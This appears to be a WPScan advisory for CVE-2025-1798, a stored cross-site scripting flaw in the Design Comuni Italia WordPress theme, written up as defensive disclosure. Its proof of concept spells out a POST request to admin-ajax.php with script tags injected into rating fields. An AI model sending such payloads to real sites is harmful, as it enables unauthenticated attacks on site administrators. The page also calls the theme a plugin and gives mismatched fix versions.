Design Comuni Italia < 1.1.2 – Unauthenticated Stored XSS | CVE 2025-1798 | Theme Vulnerabilities

Description

The plugin does not sanitise and escape some parameters when outputting them back in a page, allowing unauthenticated users the ability to perform stored Cross-Site Scripting attacks.

Proof of Concept

Send a post request to `admin-ajax.php` containing:

`action=save_rating&title=Aree+amministrative+%E2%80%93+WPScan+Vulnerability+Testbench&star=4&radioResponse=dasdasdas%22%3E%3Cscript%3Ealert%2812%29%3C%2Fscript%3E&freeText=dasdasdas%22%3E%3Cscript%3Ealert%2813%29%3C%2Fscript%3E&page=https%3A%2F%2Fwps-test.ddev.site%2Famministrazione%2Faree-amministrative%2F`

Then as admin, open the "Ratings" area of the plugin and see the XSS

Affects Themes

design-comuni-wordpress-theme

Fixed in 1.1.2

References

CVE

URL

https://github.com/italia/design-comuni-wordpress-theme/releases/tag/v1.11.2

URL

https://0xdeco.com/cve-2025-1798.html

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Filippo Decortes (Bitcube Security)

Submitter

Filippo Decortes (Bitcube Security)

Submitter website

https://bitcubesecurity.it/

Verified

Yes

WPVDB ID

c5c30191-857c-419c-9096-d1fe14d34eaa

Timeline

Publicly Published

2025-03-04 (about 10 months ago)

Added

2025-03-04 (about 10 months ago)

Last Updated

2025-03-19 (about 9 months ago)

Other

Published

Title

Published

2022-09-01

Title

WHA Crossword <= 1.1.10 - Contributor+ Stored Cross-Site Scripting

Published

2023-08-21

Title

Herd Effects < 5.2.3 - Admin+ Stored XSS

Published

2025-12-04

Title

PDF Catalog for WooCommerce <= 1.1.18 - Authenticated (Subscriber+) Stored Cross-Site Scripting

Published

2024-05-10

Title

Blocksy Companion < 2.0.46 - Contributor+ Stored Cross-Site Scripting via SVG Uploads

Published

2024-07-11

Title

Job Board Manager < 2.1.59 - Subscriber+ Stored XSS